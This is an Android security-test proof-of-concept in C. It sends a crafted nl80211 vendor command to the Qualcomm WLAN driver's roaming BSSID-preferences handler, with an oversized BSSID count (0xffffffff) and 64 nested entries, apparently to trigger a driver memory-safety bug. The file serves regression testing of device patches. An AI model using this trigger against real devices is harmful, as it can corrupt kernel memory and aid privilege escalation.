1 /*
2  * Copyright 2016 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "poc_test.h"
18 
19 #include <dlfcn.h>
20 #include <errno.h>
21 #include <limits.h>
22 
23 #include <android/log.h>
24 #include <dirent.h>
25 #include <errno.h>
26 #include <fcntl.h>
27 #include <jni.h>
28 #include <sys/socket.h>
29 #include <linux/genetlink.h>
30 #include <linux/netlink.h>
31 #include <netinet/in.h>
32 #include <net/if.h>
33 #include <stdio.h>
34 #include <stdlib.h>
35 #include <string.h>
36 #include <sys/ioctl.h>
37 #include <sys/stat.h>
38 #include <sys/types.h>
39 #include <sys/types.h> /* See NOTES */
40 #include <sys/un.h>
41 #include <unistd.h>
42 
43 #include <netlink/msg.h>
44 #include <linux/wireless.h>
45 
46 #include <linux/nl80211.h>
47 #include <netlink/genl/ctrl.h>
48 #include <netlink/genl/genl.h>
49 
50 #define MAX_MSG_SIZE 4096
51 #define TEST_CNT 64
52 
53 #define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
54 #define AID_NET_RAW 3004 /* can create raw INET sockets */
55 #define AID_NET_ADMIN 3005
56 
57 #define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
58 #define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
59 
60 #define NL80211_ATTR_MAC 6
61 #define ETH_ALEN 6
62 #define NL80211_ATTR_IFINDEX 3
63 #define QCA_NL80211_VENDOR_ID 0x001374
64 
65 #define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
66 #define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
67 #define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
68 #define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
69 #define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
70 #define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
71 #define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
72 #define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
73 
74 typedef char tSirMacAddr[ETH_ALEN];
75 struct nl_sock *nl_sk;
76 
send_testmode(const char * ifname,u_int16_t nlmsg_type,u_int32_t nlmsg_pid,u_int8_t genl_cmd,u_int8_t genl_version)77 int send_testmode(const char *ifname, u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
78                   u_int8_t genl_cmd, u_int8_t genl_version) {
79   struct nl_msg *msg;
80   int ret = POC_TEST_PASS;
81   int i;
82   unsigned char dst[ETH_ALEN];
83   struct nlattr *rret;
84   struct nlattr *rret2;
85   struct nlattr *rret3;
86   unsigned char oper_classes[253];
87   tSirMacAddr mac_in;
88   unsigned char hb_params[512];
89 
90   struct nl80211_sta_flag_update flags;
91 
92   msg = nlmsg_alloc();
93   int if_index = if_nametoindex(ifname);
94 
95   genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
96   nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
97   nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
98   nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
99 
100   rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
101 
102   if (!rret) {
103     perror("nla_nest_start");
104     ret = POC_TEST_FAIL;
105     goto exit;
106   }
107   nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
108               QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS);
109 
110   nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
111   nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID,
112               0xffffffff);
113 
114   rret2 =
115       nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
116   if (!rret2) {
117     perror("nla_nest_start2");
118     ret = POC_TEST_FAIL;
119     goto exit;
120   }
121 
122   for (i = 0; i < TEST_CNT; i++) {
123     rret3 =
124         nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
125     if (!rret3) {
126       perror("nla_nest_start3");
127       ret = POC_TEST_FAIL;
128       goto exit;
129     }
130 
131     nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID,
132             sizeof(mac_in), &mac_in);
133     nla_put_u32(msg,
134                 QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER,
135                 0xdeadbeed);
136     nla_nest_end(msg, rret3);
137   }
138 
139   nla_nest_end(msg, rret2);
140 
141   nla_nest_end(msg, rret);
142 
143   nl_send_auto_complete(nl_sk, msg);
144 exit:
145   nlmsg_free(msg);
146   return ret;
147 }
148 
main(int argc,char * argv[])149 int main(int argc, char *argv[]) {
150   VtsHostInput host_input = ParseVtsHostFlags(argc, argv);
151   const char *ifname = host_input.params["ifname"].c_str();
152   if (strlen(ifname) == 0) {
153     fprintf(stderr, "ifname parameter is empty.");
154     return POC_TEST_FAIL;
155   }
156 
157   int ret = 0;
158   int family_id = 0;
159   gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
160 
161   if (getuid() != 0) {
162     printf("need root privilege\n");
163     return POC_TEST_FAIL;
164   }
165 
166   setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
167 
168   setuid(2000);
169 
170   nl_sk = nl_socket_alloc();
171   ret = genl_connect(nl_sk);
172   if (ret != 0) {
173     perror("genl_connect");
174     return POC_TEST_FAIL;
175   }
176 
177   family_id = genl_ctrl_resolve(nl_sk, "nl80211");
178 
179   ret = send_testmode(ifname, family_id, getpid(), NL80211_CMD_VENDOR, 1);
180   return ret;
181 }
182